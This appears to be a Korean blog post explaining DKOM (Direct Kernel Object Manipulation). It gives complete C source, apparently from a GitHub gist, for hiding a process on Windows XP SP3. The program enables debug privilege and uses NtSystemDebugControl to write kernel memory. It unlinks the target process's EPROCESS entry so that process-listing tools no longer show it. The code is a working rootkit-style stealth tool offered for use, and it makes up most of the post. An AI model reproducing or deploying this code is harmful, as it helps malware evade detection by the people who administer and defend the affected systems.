DKOM 을 이용한 process 은닉 코드

DKOM(Direct Kernel Object Manipulation)은 직접 커널 옵젝트를 수정하여 원하는 결과를 얻는다.
DKOM는 커널 옵젝트를 수정해야하기 때문에 일반적으로 DDK를 이용하여 드라이버를 작성하여 구현 한다.

드라이버를 작성할 때는 DDK에서 제공하는 PsGetCurrentProcess() 가 현재 프로세스의  EPROCESS(KPROCESS)의 시작주소를 리턴하기 때문에 쉽게 entry_list의 flink, blink로 접근을 할 수 있고 쓰기 권한도 있기 때문에 숨기고자 하는 프로세스와의 링크를 다 끊어버리고 전, 후 프로세스를 다시 연결해주기만 하면 프로세스를 은닉 할 수 있다. 

드라이버를 작성하지 않고 winapi 만 사용하여 구현할 수도 있다.
NtQuerySystemInformation을 사용하여 커널 옵젝트에 접근 하고 AdjustTokenPrivilige로 프로세스에게 debug권한을 주고 NtSystemDebugControl를 사용해 가상메모리를 씀으로 커널 옵젝트를 수정 할 수 있다.

아래의 코드는 windows xp sp3에서 PID를 입력받고 그 process 은닉을 한다.

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemInformationClassMin=0,
SystemBasicInformation=0,
SystemProcessorInformation=1,
SystemPerformanceInformation=2,
SystemTimeOfDayInformation=3,
SystemPathInformation=4,
SystemNotImplemented1=4,
SystemProcessInformation=5,
SystemProcessesAndThreadsInformation=5,
SystemCallCountInfoInformation=6,
SystemCallCounts=6,
SystemDeviceInformation=7,
SystemConfigurationInformation=7,
SystemProcessorPerformanceInformation=8,
SystemProcessorTimes=8,
SystemFlagsInformation=9,
SystemGlobalFlag=9,
SystemCallTimeInformation=10,
SystemNotImplemented2=10,
SystemModuleInformation=11,
SystemLocksInformation=12,
SystemLockInformation=12,
SystemStackTraceInformation=13,
SystemNotImplemented3=13,
SystemPagedPoolInformation=14,
SystemNotImplemented4=14,
SystemNonPagedPoolInformation=15,
SystemNotImplemented5=15,
SystemHandleInformation=16,
SystemObjectInformation=17,
SystemPageFileInformation=18,
SystemPagefileInformation=18,
SystemVdmInstemulInformation=19,
SystemInstructionEmulationCounts=19,
SystemVdmBopInformation=20,
SystemInvalidInfoClass1=20,
SystemFileCacheInformation=21,
SystemCacheInformation=21,
SystemPoolTagInformation=22,
SystemInterruptInformation=23,
SystemProcessorStatistics=23,
SystemDpcBehaviourInformation=24,
SystemDpcInformation=24,
SystemFullMemoryInformation=25,
SystemNotImplemented6=25,
SystemLoadImage=26,
SystemUnloadImage=27,
SystemTimeAdjustmentInformation=28,
SystemTimeAdjustment=28,
SystemSummaryMemoryInformation=29,
SystemNotImplemented7=29,
SystemNextEventIdInformation=30,
SystemNotImplemented8=30,
SystemEventIdsInformation=31,
SystemNotImplemented9=31,
SystemCrashDumpInformation=32,
SystemExceptionInformation=33,
SystemCrashDumpStateInformation=34,
SystemKernelDebuggerInformation=35,
SystemContextSwitchInformation=36,
SystemRegistryQuotaInformation=37,
SystemLoadAndCallImage=38,
SystemPrioritySeparation=39,
SystemPlugPlayBusInformation=40,
SystemNotImplemented10=40,
SystemDockInformation=41,
SystemNotImplemented11=41,
SystemInvalidInfoClass2=42,
SystemProcessorSpeedInformation=43,
SystemInvalidInfoClass3=43,
SystemCurrentTimeZoneInformation=44,
SystemTimeZoneInformation=44,
SystemLookasideInformation=45,
SystemSetTimeSlipEvent=46,
SystemCreateSession=47,
SystemDeleteSession=48,
SystemInvalidInfoClass4=49,
SystemRangeStartInformation=50,
SystemVerifierInformation=51,
SystemAddVerifier=52,
SystemSessionProcessesInformation=53,
SystemInformationClassMax
} SYSTEM_INFORMATION_CLASS;
typedef enum _DEBUG_CONTROL_CODE {
DebugGetTraceInformation=1,
DebugSetInternalBreakpoint,
DebugSetSpecialCall,
DebugClearSpecialCalls,
DebugQuerySpecialCalls,
DebugDbgBreakPoint,
DebugMaximum,
DebugReadVirtualMemory,
DebugWriteVirtualMemory
} DEBUG_CONTROL_CODE;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef struct _MEMORY_CHUNKS {
PVOID VirtualAddress;
PVOID Buffer;
ULONG BufferSize;
} MEMORY_CHUNKS, *PMEMORY_CHUNKS;
typedef NTSTATUS (NTAPI *NTQUERYSYSTEMINFORMATION)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);
typedef NTSTATUS (NTAPI *NTSYSTEMDEBUGCONTROL)(
IN DEBUG_CONTROL_CODE ControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength,
OUT PULONG ReturnLength OPTIONAL);
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
NTSYSTEMDEBUGCONTROL NtSystemDebugControl;
NTSTATUS KdReadVirtualMemory(PVOID VirtualAddress, PVOID Buffer, ULONG BufferSize){
MEMORY_CHUNKS MemoryChunks;
MemoryChunks.VirtualAddress=VirtualAddress;
MemoryChunks.Buffer=Buffer;
MemoryChunks.BufferSize=BufferSize;
return NtSystemDebugControl(DebugReadVirtualMemory, &MemoryChunks, sizeof(MemoryChunks),
NULL, 0, NULL);
}
NTSTATUS KdWriteVirtualMemory(PVOID VirtualAddress, PVOID Buffer, ULONG BufferSize){
MEMORY_CHUNKS MemoryChunks;
MemoryChunks.VirtualAddress=VirtualAddress;
MemoryChunks.Buffer=Buffer;
MemoryChunks.BufferSize=BufferSize;
return NtSystemDebugControl(DebugWriteVirtualMemory, &MemoryChunks, sizeof(MemoryChunks),
NULL, 0, NULL);
}
BOOL SetProcessId(ULONG ProcessId){
ULONG NumberOfHandles, HandleIndex;
HANDLE ProcessHandle;
ULONG *SystemInformation;
ULONG FL, BL;
MEMORY_CHUNKS MemoryChunks;
ProcessHandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if(!ProcessHandle)
return FALSE;
SystemInformation=(ULONG *)malloc(sizeof(SYSTEM_HANDLE_INFORMATION)+sizeof(ULONG));
if(NtQuerySystemInformation(SystemHandleInformation, SystemInformation, sizeof(SYSTEM_HANDLE_INFORMATION)+sizeof(ULONG), 0)<0){
NumberOfHandles=*SystemInformation;
free(SystemInformation);
SystemInformation=(PULONG)malloc(NumberOfHandles*sizeof(SYSTEM_HANDLE_INFORMATION)+sizeof(ULONG));
}
NtQuerySystemInformation(SystemHandleInformation, SystemInformation, NumberOfHandles*sizeof(SYSTEM_HANDLE_INFORMATION)+sizeof(ULONG), 0);
NumberOfHandles=*SystemInformation;
PSYSTEM_HANDLE_INFORMATION SystemHandleList=(PSYSTEM_HANDLE_INFORMATION)(SystemInformation+1);
for(HandleIndex=0;HandleIndex<NumberOfHandles;HandleIndex++){
if(SystemHandleList[HandleIndex].ObjectTypeNumber==5 &&
SystemHandleList[HandleIndex].ProcessId==GetCurrentProcessId() &&
(HANDLE)SystemHandleList[HandleIndex].Handle==ProcessHandle)
{
KdReadVirtualMemory((PCHAR)SystemHandleList[HandleIndex].Object+0x88, &FL, 4);
KdReadVirtualMemory((PCHAR)SystemHandleList[HandleIndex].Object+0x8c, &BL, 4);
KdWriteVirtualMemory((PVOID)(FL-0x88+0x8c), &BL, 4);
KdWriteVirtualMemory((PVOID)BL, &FL, 4);
CloseHandle((HANDLE)SystemHandleList[HandleIndex].Handle);
free(SystemInformation);
return TRUE;
}
}
free(SystemInformation);
}
BOOL SetDebugPrivilege(){
HANDLE TokenHandle;
LUID Luid;
TOKEN_PRIVILEGES TokenPrivileges;
if(!OpenProcessToken((HANDLE)0xFFFFFFFF, TOKEN_ALL_ACCESS, &TokenHandle))
return FALSE;
Luid.LowPart=20;
Luid.HighPart=0;
TokenPrivileges.PrivilegeCount=1;
TokenPrivileges.Privileges->Attributes=SE_PRIVILEGE_ENABLED;
TokenPrivileges.Privileges->Luid=Luid;
if(!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)){
CloseHandle(TokenHandle);
return FALSE;
}
CloseHandle(TokenHandle);
return TRUE;
}
void main(){
ULONG ProcessId;
NtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)
GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation");
NtSystemDebugControl=(NTSYSTEMDEBUGCONTROL)
GetProcAddress(LoadLibrary("ntdll.dll"), "NtSystemDebugControl");
SetDebugPrivilege();
printf("프로세스 아이디 입력\n");
scanf("%d", &ProcessId);
SetProcessId(ProcessId);
}
view raw hideProc.c hosted with ❤ by GitHub

0 개의 댓글:

댓글 쓰기